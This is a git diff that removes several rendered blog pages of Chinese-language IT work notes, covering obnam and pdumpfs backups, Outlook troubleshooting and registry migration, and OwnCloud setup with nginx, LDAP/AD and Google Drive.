    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e7-ad-86-e8-a8-98-obnam-snapshot-tool-centos-linux/index.html b/themes/public/article/e7-ad-86-e8-a8-98-obnam-snapshot-tool-centos-linux/index.html deleted file mode 100644 index fcc2ff61..00000000 --- a/themes/public/article/e7-ad-86-e8-a8-98-obnam-snapshot-tool-centos-linux/index.html +++ /dev/null @@ -1,478 +0,0 @@ - - - - - - - - - - [筆記] obnam - snapshot tool under CentOS Linux | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [筆記] obnam - snapshot tool under CentOS Linux

    -
    - - - 2017-01-23 - - - - - - - - - 工作筆記 - - - - - -
    - - -

    這幾天一直在玩一些備份用的工具,像是rsnapshot / dsnapshot / zfs-auto-snapshot等等

    - -

    不過都不是很滿意,有的是設定不方便,有的是速度太慢,有的是沒有dedup功能

    - -

    本來是已經打算就加硬碟,用ZFS當檔案系統來處理

    - -

    後來看到有這個軟體 obnam

    - -

    看起來似乎滿強的

    - -

    官網的介紹如下 -> Obnam is an easy, secure backup program. Backups can be stored on local hard disks, or online via the SSH SFTP protocol. The backup server, if used, does not require any special software, on top of SSH. -> -> -> Some features that may interest you: -> -> -> * Snapshot backups. Every generation looks like a complete snapshot, so you don’t need to care about full versus incremental backups, or rotate real or virtual tapes. -> * Data de-duplication, across files, and backup generations. If the backup repository already contains a particular chunk of data, it will be re-used, even if it was in another file in an older backup generation. This way, you don’t need to worry about moving around large files, or modifying them. (However, the current implementation has some limitations: see dedup). -> * Encrypted backups, using GnuPG.

    - -

    吸引我的主要是snapshot / dedup 這兩個 -

    -CentOS 6.8 裝了epel-release 之後,就可以看到這個套件,所以安裝是很簡單的 -> [root@syslog ~]# cat yum.txt |grep obnam -> -> obnam.x86_64                                1.8-1.el6                    epel -> -> [root@syslog ~]# -> -> -接下來,就來測試看看實際執行的狀況

    - -

    他的指令參數有點多,可以參考官方文件

    - -

    http://code.liw.fi/obnam/manual/manual.html

    - -

     

    - -

    首先,在家目錄底下新增一個檔案 .obnam.conf

    - -

    裡面先寫好備份的來源、目的、LOG檔案等等參數

    - -

    [root@syslog ~]# cat .obnam.conf -[config] -repository=/zp/backup #備份目的地 -log=/var/log/obnam.log #log檔案 -root=/var/log,/etc #備份來源

    - -

    deduplicate=fatalist

    - -

    kee=30d -[root@syslog ~]#

    - -

     

    - -

    接著就只要執行 obnam backup 就可以了

    - -

    還原的方式,是先到備份目的目錄,執行 obnam ls 找到你要的檔案之後

    - -

    執行

    - -

    obnam restore –to=/tmp/my_files /backup_files

    - -

    比如說 我備份了root 目錄,然後我現在要叫回其中一個叫做 abc123的檔案到 /tmp底下

    - -

    那指令就會是這樣

    - -

    cd /zp/backup  #切換到obnam的備份目錄

    - -

    obnam ls |grep abc123 #確認一下有沒有這個檔案

    - -

    obnam restore –to=/tmp/ /root/abc123

    - -

    這樣就可以了

    - -

     

    - -

    至於dedup 和 keep 的用法,還要測試驗證一下,尤其是 dedup ,有點難驗證啊…

    - -

     

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e7-ad-86-e8-a8-98-outlook-2010-e5-9c-a8-e6-9f-90-e6-ac-a1-e6-9b-b4-e6-96-b0-e5-be-8c-ef-bc-8c-e5-8f-aa-e8-83-bd-e4-bb-a5-e5-ae-89-e5-85-a8-e6-a8-a1-e5-bc-8f-e5-95-9f-e5-8b-95/index.html b/themes/public/article/e7-ad-86-e8-a8-98-outlook-2010-e5-9c-a8-e6-9f-90-e6-ac-a1-e6-9b-b4-e6-96-b0-e5-be-8c-ef-bc-8c-e5-8f-aa-e8-83-bd-e4-bb-a5-e5-ae-89-e5-85-a8-e6-a8-a1-e5-bc-8f-e5-95-9f-e5-8b-95/index.html deleted file mode 100644 index 64cc4a2b..00000000 --- a/themes/public/article/e7-ad-86-e8-a8-98-outlook-2010-e5-9c-a8-e6-9f-90-e6-ac-a1-e6-9b-b4-e6-96-b0-e5-be-8c-ef-bc-8c-e5-8f-aa-e8-83-bd-e4-bb-a5-e5-ae-89-e5-85-a8-e6-a8-a1-e5-bc-8f-e5-95-9f-e5-8b-95/index.html +++ /dev/null @@ -1,430 +0,0 @@ - - - - - - - - - - [筆記] outlook 2010 在某次更新後,只能以安全模式啟動 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [筆記] outlook 2010 在某次更新後,只能以安全模式啟動

    -
    - - - 2015-12-10 - - - - - - - - - 工作筆記 - - - - - -
    - - -

    outlook 2010 在某次更新後,只能以安全模式啟動 outlook 2010 always start in safe mode

    - -

    今天一上班就接到三個USER反應一樣的症狀,都是Outlook 2010 只能以安全模式啟動,所有對選項的修改都不會被套用。

    - -

    一問之下,發現三台都在昨天安裝了Windows update,看來某個Update有問題,偏偏我的筆電是唯一一台Office 2016 ,所以沒有這個更新..

    - -

    上網看了一下,果然滿多災情的..

    - -

    - -

    Microsoft pulls botched patch KB 3114409 that triggered problems with Outlook 2010

    - -

    解決方法也很簡單啦,就去Windows update移除掉就好了

    - -

    開啟控制台,在右上角輸入 windows update

    - -

    然後點一下Windows Update

    - -

    2015-12-10_10-37-30

    - -

     

    - -

    然後點選左下角,已安裝的更新

    - -

    2015-12-10_10-43-50

    - -

     

    - -

    然後找到 KB3114409 按右鍵移除就可以了

    - -

     

    - -

     

    - -

     

    - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e7-ad-86-e8-a8-98-outlook-e6-94-b6-e4-bf-a1-e6-99-82-ef-bc-8c-e6-9c-83-e5-87-ba-e7-8f-be-e3-80-8c-e6-82-a8-e6-b2-92-e6-9c-89-e9-81-a9-e7-95-b6-e7-9a-84-e6-ac-8a-e9-99-90-e5-8f-af-e5-9f-b7-e8-a1-8c/index.html b/themes/public/article/e7-ad-86-e8-a8-98-outlook-e6-94-b6-e4-bf-a1-e6-99-82-ef-bc-8c-e6-9c-83-e5-87-ba-e7-8f-be-e3-80-8c-e6-82-a8-e6-b2-92-e6-9c-89-e9-81-a9-e7-95-b6-e7-9a-84-e6-ac-8a-e9-99-90-e5-8f-af-e5-9f-b7-e8-a1-8c/index.html deleted file mode 100644 index a5cfaf09..00000000 --- a/themes/public/article/e7-ad-86-e8-a8-98-outlook-e6-94-b6-e4-bf-a1-e6-99-82-ef-bc-8c-e6-9c-83-e5-87-ba-e7-8f-be-e3-80-8c-e6-82-a8-e6-b2-92-e6-9c-89-e9-81-a9-e7-95-b6-e7-9a-84-e6-ac-8a-e9-99-90-e5-8f-af-e5-9f-b7-e8-a1-8c/index.html +++ /dev/null @@ -1,414 +0,0 @@ - - - - - - - - - - [筆記] Outlook 收信時,會出現「您沒有適當的權限可執行此項作業」視窗 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [筆記] Outlook 收信時,會出現「您沒有適當的權限可執行此項作業」視窗

    -
    - - - 2014-05-20 - - - - - - - - - 工作筆記 - - - - - -
    - - -

    今天 FISH打來反應OUTLOOK無法收發信件 ,會出現 「您沒有適當的權限可執行此項作業」視窗 -

    - -

    找了好幾篇網路上的文章都解決不了,最後改用英文去搜尋,終於找到解決方法

    - -

    操作方法如下

    - -

    1.關閉OUTLOOK

    - -

    2.開啟檔案總管,進到 %USERPROFILE%\AppData\Roaming\Microsoft\Outlook 這個目錄

    - -

    3.這目錄裡面應該會有一個附檔名是 srs 的檔案

    - -

    4.刪掉這個 .srs的檔案(刪掉或更名都可以)

    - -

    5.重新開啟outlook , DONE !

    - -

    因為網路上中文的網頁幾乎都沒提到這個方法,簡單做個紀錄!

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e7-ad-86-e8-a8-98-outlook-e9-83-b5-e4-bb-b6-e8-a8-ad-e5-ae-9a-e9-81-b8-e9-a0-85-e8-a8-ad-e5-ae-9a-e5-82-99-e4-bb-bd-e9-82-84-e5-8e-9f/index.html b/themes/public/article/e7-ad-86-e8-a8-98-outlook-e9-83-b5-e4-bb-b6-e8-a8-ad-e5-ae-9a-e9-81-b8-e9-a0-85-e8-a8-ad-e5-ae-9a-e5-82-99-e4-bb-bd-e9-82-84-e5-8e-9f/index.html deleted file mode 100644 index f922f95b..00000000 --- a/themes/public/article/e7-ad-86-e8-a8-98-outlook-e9-83-b5-e4-bb-b6-e8-a8-ad-e5-ae-9a-e9-81-b8-e9-a0-85-e8-a8-ad-e5-ae-9a-e5-82-99-e4-bb-bd-e9-82-84-e5-8e-9f/index.html +++ /dev/null @@ -1,465 +0,0 @@ - - - - - - - - - - [筆記] outlook 郵件設定 & 選項設定 備份/還原 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [筆記] outlook 郵件設定 & 選項設定 備份/還原

    -
    - - - 2015-07-01 - - - - - - - - - 工作筆記 - - - - - -
    - - -

    之前在幫USER換電腦、灌系統,最麻煩的就是outlook 裡面的設定

    - -

    不管是簽名、字型、甚至顏色配置等等

    - -

    就連我自己換電腦或者換系統,都要花很多時間在調整outlook 到習慣的介面

    - -

    一直都在想有沒有方便的工具可以協助備份、移轉 outlook 設定的

    - -

    今天在測試microcloud 的VDI 時,因為廠商之前已經提過outlook 無法保存設定,但是 user profile 可以

    - -

    讓我又想起這個議題,然後就用 outlook profile transfer 丟去google 找答案

    - -

    沒想到還真的讓我找到了!(怪了,那我之前怎麼都沒找到..)

    - -

    - -

    原本先找到這串registry

    - -

    In Outlook 2010 and older, profiles are stored in the registry at -> HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles -In Outlook 2013, the profile moves to the -> HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles key. -不過經過測試,這裡的 registry 匯出、匯入之後,只有帳號設定會被叫回來

    - -

    如果有去調整選項(像是預設信件的內容字體大小等等),並不會跟著回來

    - -

    後來又找到另外一串 -> HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Outlook - Outlook customizations are found under this key. (It’s generally safe to move this key to a new computer.) -> -> -> HKEY_CURRENT_USER\Software\Microsoft\Office\Outlook - Information about add-ins. (This key should not be used on a different computer.) -> -> -> HKEY_CURRENT_USER\Software\Policies\Microsoft\office\14.0\outlook - This key will only exist if you have certain policies enabled. Most home users will not have settings here. It’s safe to use on other computers. Don’t forget to change the version number if you aren’t using Outlook 2010. -> -> -> Outlook 2013: 15.0 -> -> HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook -> -> -> Outlook 2007: 12.0 -> -> HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Outlook -> -> -> Outlook 2003: 11.0 -> -> HKEY_CURRENT_USER\Software\Microsoft\Office\11.0\Outlook -> -> -> Outlook 2002: 10.0 -> -> HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Outlook

    - -

    像我用 outlook 2007

    - -

    就去把 HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Outlook 這串匯出然後再匯入,選項就跟著回來了!

    - -

     

    - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e7-ad-86-e8-a8-98-owncloud-e5-9c-a8-nginx-e7-9a-84-e8-a8-ad-e5-ae-9a/index.html b/themes/public/article/e7-ad-86-e8-a8-98-owncloud-e5-9c-a8-nginx-e7-9a-84-e8-a8-ad-e5-ae-9a/index.html deleted file mode 100644 index 92d65749..00000000 --- a/themes/public/article/e7-ad-86-e8-a8-98-owncloud-e5-9c-a8-nginx-e7-9a-84-e8-a8-ad-e5-ae-9a/index.html +++ /dev/null @@ -1,463 +0,0 @@ - - - - - - - - - - [筆記] OwnCloud 在 nginx 的設定 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [筆記] OwnCloud 在 nginx 的設定

    -
    - - - 2015-01-16 - - - - - - - - - 未分類 - - - - - -
    - - -

    搞了我好久,記錄下來先

    - -

    - -

      -> server { -> listen 80; -> server_name oc.cowbay.org; -> -> # Path to the root of your installation -> root /usr/local/www/owncloud; -> -> client_max_body_size 10G; # set max upload size -> fastcgi_buffers 64 4K; -> -> rewrite ^/caldav(.)$ /remote.php/caldav$1 redirect; -> rewrite ^/carddav(.)$ /remote.php/carddav$1 redirect; -> rewrite ^/webdav(.)$ /remote.php/webdav$1 redirect; -> -> index index.php; -> error_page 403 /core/templates/403.php; -> error_page 404 /core/templates/404.php; -> -> location = /robots.txt { -> allow all; -> log_not_found off; -> access_log off; -> } -> -> location ~ ^/(data|config|.ht|db_structure.xml|README) { -> deny all; -> } -> -> location / { -> # The following 2 rules are only needed with webfinger -> rewrite ^/.well-known/host-meta /public.php?service=host-meta last; -> rewrite ^/.well-known/host-meta.json /public.php?service=host-meta-json last; -> -> rewrite ^/.well-known/carddav /remote.php/carddav/ redirect; -> rewrite ^/.well-known/caldav /remote.php/caldav/ redirect; -> -> rewrite ^(/core/doc/[^\/]+/)$ $1/index.html; -> -> try_files $uri $uri/ index.php; -> } -> -> location ~ ^(.+?.php)(/.)?$ { -> try_files $1 =404; -> -> include fastcgi_params; -> fastcgi_param SCRIPT_FILENAME $document_root$1; -> fastcgi_param PATH_INFO $2; -> fastcgi_pass php-handler; -> } -> -> # Optional: set long EXPIRES header on static assets -> location ~* ^.+.(jpg|jpeg|gif|bmp|ico|png|css|js|swf)$ { -> expires 30d; -> # Optional: Don’t log access to assets -> access_log off; -> } -> -> } - 

    - -

     

    - -

    http://wp.me/p3h08f-fl

    - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e7-ad-86-e8-a8-98-owncloud-e6-90-ad-e9-85-8dgoogle-drive-e5-90-8c-e6-ad-a5-e8-b3-87-e6-96-99-e6-9c-83-e6-9c-89-e6-99-82-e9-96-93-e5-b7-ae/index.html b/themes/public/article/e7-ad-86-e8-a8-98-owncloud-e6-90-ad-e9-85-8dgoogle-drive-e5-90-8c-e6-ad-a5-e8-b3-87-e6-96-99-e6-9c-83-e6-9c-89-e6-99-82-e9-96-93-e5-b7-ae/index.html deleted file mode 100644 index a3f4d6be..00000000 --- a/themes/public/article/e7-ad-86-e8-a8-98-owncloud-e6-90-ad-e9-85-8dgoogle-drive-e5-90-8c-e6-ad-a5-e8-b3-87-e6-96-99-e6-9c-83-e6-9c-89-e6-99-82-e9-96-93-e5-b7-ae/index.html +++ /dev/null @@ -1,419 +0,0 @@ - - - - - - - - - - [筆記] OwnCloud 搭配Google Drive 同步資料會有時間差 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [筆記] OwnCloud 搭配Google Drive 同步資料會有時間差

    -
    - - - 2015-01-14 - - - - - - - - - 工作筆記 - - - - - -
    - - -

    這幾天一直在玩 OwnCloud 前面有幾篇文章說明如何搭配 Google Drive 來提供服務

    - -

    今天測試了一下,分別開啟 OwnCloud 網頁、本機、還有 Google Drive 網頁

    - -

    我從 Google Drive 上的回收桶救回一個檔案,大小大概 170KB

    - -

    等了五分鐘之後,本機才出現這個檔案,

    - -

    底下圖片可以看到,遠端的檔案時間是 17:12 ,但是本機同步回來的時間是 17:17 差了五分鐘左右

    - -

    2015-01-14_17-46-14

    - -

    但是如果我是透過 Google Drive 的軟體,一樣在本機刪除、Google Drive網頁救回,時間差大概就是幾秒鐘而已。

    - -

    下面圖片可以看到本機的時間和遠端Google Drive 的時間是一致的

    - -

    所以應該不是網路的問題,可能是多透過一個 OwnCloud 去同步的關係

    - -

    2015-01-14_17-49-31

    - -

    至於這個問題有沒有解??想到要去論壇發問就很累…..大概就這樣算了吧…..

    - -

     

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e7-ad-86-e8-a8-98-owncloudldapad-e8-aa-8d-e8-ad-89-e8-a8-ad-e5-ae-9a/index.html b/themes/public/article/e7-ad-86-e8-a8-98-owncloudldapad-e8-aa-8d-e8-ad-89-e8-a8-ad-e5-ae-9a/index.html deleted file mode 100644 index f8226130..00000000 --- a/themes/public/article/e7-ad-86-e8-a8-98-owncloudldapad-e8-aa-8d-e8-ad-89-e8-a8-ad-e5-ae-9a/index.html +++ /dev/null @@ -1,563 +0,0 @@ - - - - - - - - - - [筆記] CentOS 7+OwnCloud+LDAP+AD 認證設定 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [筆記] CentOS 7+OwnCloud+LDAP+AD 認證設定

    -
    - - - 2015-01-05 - - - - - - - - - 工作筆記 - - - - - -
    - - - - -

    今年的工作,列了一項建立公司內部私有雲的計畫,之前就有玩過免費的 OwnCloud ,這次拿來在公司環境試試看。

    - -

    底下簡單描述操作的步驟

    - -

     CentOS 7+OwnCloud+LDAP+AD 認證設定

    - -

     

    - -

    安裝 CentOS 7

    - -

    下載ISO  http://www.centos.org/download/

    - -

    把ISO丟上 esxi ,開一台新的 VM

    - -

    配置大概如下,很簡單,想說主機上的RAM還有多,就配4G給這台

    - -

    2015-01-05_14-47-48

    - -

    如果選最小安裝,會碰到很多指令不支援的問題,要一個個手動裝回來,這點要特別注意。

    - -

    另外,我的習慣是會關閉 SELINUX,另外設定 iptables ,這部分就看個人。

    - -

    為了之後要把Google Drive 拿來當作外部儲存空間用,所以之後都要用 hostname連線

    - -

    記得要修改DNS對應,如果用IP連線,Google Drive 的API 不接受!

    - -

    安裝 OwnCloud

    - -

    CentOS 安裝好了之後,參考底下頭城國小資訊組的文章
    -PS 我雖說是礁溪人,不過老家親戚大部分都在頭城!硬要牽關係這樣

    - -

    參考 http://blog.ilc.edu.tw/blog/blog/25793/post/79900/512903

    - -

    資料儲存空間要修改成自己機器上的路徑

    - -

    啟用 OwnCloud 的 LDAP

    - -

    進入 OwnCloud 後,在左上角的雲的旁邊有個下拉選單,裡面有個應用程式,點進去

    - -

    P.S 不知道為什麼,進入應用程式要等很久,是VM不給力?還是給雙核CPU太少?

    - -

    之前在另一台FreeBSD的實體機上測試,也會有這個問題..

    - -

    Update 2015/01/06

    - -

    早上翻了一堆 owncloud 論壇的文章,管理介面緩慢的問題滿多人碰到的

    - -

    有說是DNS 解析的問題,有說是進入 admin 介面時,會去檢查一些像是系統更新、網際網路連線能力之類,所以會跑比較久。

    - -

    有跟著說明修改了一些config裡面的值,「感覺」似乎有變快..

    - -

     

    - -

    2015-01-05_14-54-52

    - -

    進入應用程式後,啟用 LDAP user and group backend ,

    - -

    這部分可以參考頭城國小資訊組的文章 http://blog.ilc.edu.tw/blog/blog/25793/post/79900/531268

    - -

     

    - -

    2015-01-05_14-57-05

    - -

     

    - -

    成功啟用之後,再管理者介面就會看到多出設定LDAP的TAB,就可以繼續設定LDAP了

    - -

    2015-01-05_15-00-27

    - -

    設定 LDAP

    - -

    參考 http://blog.miniasp.com/post/2012/01/03/CollabNet-Subversion-Edge-Installation-Notes-Part-2-Active-Directory-Integration.aspx

    - -

    先在自己AD 的 Domain Controller 上,找出相關的資訊 ->

    dsquery user -samid “administrator”
    -> -> 透過上述指令執行後,會直接查出帳號 administrator 的 DN 位址,如下範例: -> -> “CN=Administrator,CN=example,DC=com,DC=tw“ - 

    - -

    CN=帳號,CN=Users,DC=example,DC=com,DC=tw

    - -

    BASE DN: DC=example,DC=com,DC=tw

    - -

    後面的Filter 視情況而定,我公司帳號不多,所以沒有刻意去下條件,下方繼續按鈕旁邊會顯示燈號,看到綠燈才代表設定正確唷!

    - -

    2015-01-05_14-24-06

    - -

    2015-01-05_14-24-15

    - -

     

    - -

    這邊是設定使用者可以用哪些屬性登入

    - -

    預設有 Username 和 Email (必須在AD內有登記)

    - -

    如果覺得不夠,可以從下拉選單中勾選其他AD支援的屬性

    - -

    Update : 2015/1/6

    - -

    後來玩了一下這部分的設定,發現不知道是我DC上的帳號群組亂掉了還是怎樣

    - -

    會發生明明USER A 屬於 A群組,我也勾選了A群組,但是 User A就是無法登入的情況

    - -

    為了解決這個問題,我在DC上建立了一個owncloud群組,把所有要開放的使用者都拉進這個群組

    - -

    2015-01-06_16-44-30

    - -

    這樣設定之後就沒有再發生使用者無法登入的狀況

    - -

    接著修改了群組的過濾原則,把 “group”選起來

    - -

    2015-01-06_16-46-24

    - -

    在指派 external Storage 的時候,就可以用DC上的群組去分配,不必一個一個帳號拉

    - -

    2015-01-06_16-49-10

    - -

     

    - -

     

    - -

    測試用 AD內登記的 帳號/ EMAIL登入 OK,下面這張圖,我是用AD內登記的EMAIL登入,右上角顯示的是AD內的 Display Name

    - -

    2015-01-05_15-06-42

    - -

     

    - -

    在本機設定好OwnCloud Client 之後,當然也會自動同步

    - -

    2015-01-05_15-11-14

    - -

    更新

    - -

    External Storage 可以配合 Amazon S3 / Google Drive

    - -

    Google Drive 要先去開通 API ,挺麻煩的一件事,有很多小細節要注意

    - -

    參考這篇 http://doc.owncloud.org/server/6.0/user_manual/external_storage/google_drive.html

    - -

    特別特別注意,複製 Client Secret時,建議先貼到記事本,不要從瀏覽器直接貼過來,會多一個” “空白

    - -

    我在這邊卡關一個多小時

    - -

     

    - -

    設定成功之後,在OwnCloud 會多一個目錄,指向到 Google Drive

    - -

    這樣本機就不必有太大的儲存空間,也能提供「雲端空間」的服務了!

    - -

     

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e7-ad-86-e8-a8-98-pdumpfs-e6-aa-94-e6-a1-88-e5-82-99-e4-bb-bd/index.html b/themes/public/article/e7-ad-86-e8-a8-98-pdumpfs-e6-aa-94-e6-a1-88-e5-82-99-e4-bb-bd/index.html deleted file mode 100644 index 57315d51..00000000 --- a/themes/public/article/e7-ad-86-e8-a8-98-pdumpfs-e6-aa-94-e6-a1-88-e5-82-99-e4-bb-bd/index.html +++ /dev/null @@ -1,466 +0,0 @@ - - - - - - - - - - [筆記] pdumpfs 檔案備份 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [筆記] pdumpfs 檔案備份

    -
    - - - 2015-07-14 - - - - - - - - - 工作筆記 - - - - - -
    - - -

    之前已經把備份工作都交給同事去處理

    - -

    沒想到前不久真的發生USER手殘,直接把共享目錄內的文件全選、刪除

    - -

    結果要倒回檔案的時候,發現備份的檔案不完全(備份工具是freefile sync ),引發後續一些麻煩事情

    - -

    所以想在原本同事處理的備份工作上,再加一份我自己做的備份作為不時之需

    - -

    - -

    基於之前的習慣,這次還是採用 pdumpfs 來做備份,指令比較簡單

    - -

    只是這次多加入了把備份的過程導出成 .log 檔,然後依照日期壓縮、存放

    - -

    主要的邏輯就是 pdumpfs 備份檔案 ,把std out 導出到NAS上存放,然後在每天結束前,把log壓縮、存放到當天的目錄

    - -

    pdumpfs 的部分就很簡單 -> pdumpfs source_dir dest_dir -這樣一行就解決了

    - -

    然後把 std out 的輸出導入到 log,並加入日期 -> /usr/local/sbin/pdumpfs /nas/資訊部 /zp/ai/ > “/nas/DB_Backup/pdumpfs_log/pdumpfs資訊部date +\%Y\%m\%d.log” -/nas 是透過 NFS mount 群暉 NAS 的共享目錄進來

    - -

    要注意的是,原本正常的 script應該是只有 -> /usr/local/sbin/pdumpfs /nas/資訊部 /zp/ai/ > “/nas/DB_Backup/pdumpfs_log/pdumpfs資訊部date +%Y%m%d.log” -跟上一行比起來少了 “\” 這個符號

    - -

    因為本來在console 測試的時候,SCRIPT跑起來都OK,但是放到 crontab 裡面執行,就會發生錯誤 -> CMD (pdumpfs /nas/\345\205\261\347\224\250\350\263\207\346\226\231 /zp/public/ > “/nas/DB_Backup/pdumpfslog/pdumpfs\345\205\261\347\224\250\350\263\207\346\226\231_date +) -中文變亂碼這部分沒問題,但是結尾只有跑到date + 這邊就結束,會造成錯誤

    - -

    原因是因為 crontab 跟這種系統變數整合的關係,翻了一下GOOGLE,發現要不就是指定一個系統變數存放日期,要不就是加個 \ 進去處理

    - -

    我選擇直接用 \% 來取代 %

    - -

    放到 crontab 裡面,修改一下執行時間,測試OK,SCRIPT 就正式上線了

    - -

     

    - -

    不過呢,這個SCRIPT跑的是從群暉NAS上備份到二階的備份伺服器

    - -

    第一層是由三台NAS所組成 (119(群暉) 、219(QNAP)、218(Windows 2012))

    - -

    然後由其他兩台每天同步到 119上

    - -

    因為群暉的NFS 可以用偷吃步,直接MOUNT整個 volume 進來,所以比較好處理

    - -

    Windows 2012 應該是可以直接用 smb mount 進來

    - -

    至於QNAP就比較少玩,不過應該也不會太麻煩

    - -

    可能還是要找時間研究一下怎麼把這兩台的share folder 也 mount 到這台備份伺服器上

    - -

    再一起加入 pdumpfs 的備份工作內

    - -

     

    - -

    Update: 2015/07/15

    - -

    Windows 2012 的共享資料夾 如果是中文,而且要透過 mount_smbfs 掛進來的話 會出現亂碼

    - -

    所以在 mount 的時候要加參數 -L 和 -E -> mount_smbfs -L zh_TW.UTF-8 -E UTF-8:UTF-8 -I 192.168.10.218 ‘//chchang@nas-218/NAS-218’ /218/ -感謝 lantw44@ptt

    - -

     

    - -

     

    - -

     

    - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e7-ad-86-e8-a8-98-pdumpfs-e7-9a-84-e4-b8-80-e4-ba-9b-e5-8f-83-e6-95-b8-e7-94-a8-e6-b3-95/index.html b/themes/public/article/e7-ad-86-e8-a8-98-pdumpfs-e7-9a-84-e4-b8-80-e4-ba-9b-e5-8f-83-e6-95-b8-e7-94-a8-e6-b3-95/index.html deleted file mode 100644 index e8206073..00000000 --- a/themes/public/article/e7-ad-86-e8-a8-98-pdumpfs-e7-9a-84-e4-b8-80-e4-ba-9b-e5-8f-83-e6-95-b8-e7-94-a8-e6-b3-95/index.html +++ /dev/null @@ -1,407 +0,0 @@ - - - - - - - - - - [筆記] pdumpfs 的一些參數用法 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [筆記] pdumpfs 的一些參數用法

    -
    - - - 2013-08-07 - - - - - - - - - 工作筆記 - - - - - -
    - - -

    原文參考自:

    - -

    http://freebsd.1045724.n5.nabble.com/ports-179611-running-sysutils-pdumpfs-fails-with-ruby19-td5820350.html -在/etc/crontab增加一行: -> * 18 * * * root pdumpfs /home /home1 -超過30M的文件不備份 -> pdumpfs –exclude-by-size 30M /home /home1 -排除 .CAB,.cab,.exe: -> pdumpfs –exclude-by-glob “.CAB” –exclude-by-glob “.cab” –exclude-by-glob “.exe” –exclude-by-size 30M /home /home1 -自動備份,並將結果mail出去 -> 00 23 * * * root pdumpfs –exclude-by-glob “.CAB” –exclude-by-glob “.cab” –exclude-by-glob “.exe” –exclude-by-glob “.EXE” –exclude-by-glob “.zip” –exclude-by-glob “.ZIP” –exclude-by-size 30M -q -l /tmp/bak.log /home /home1;sendmail shiwei@cfido.com </tmp/bak.log

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
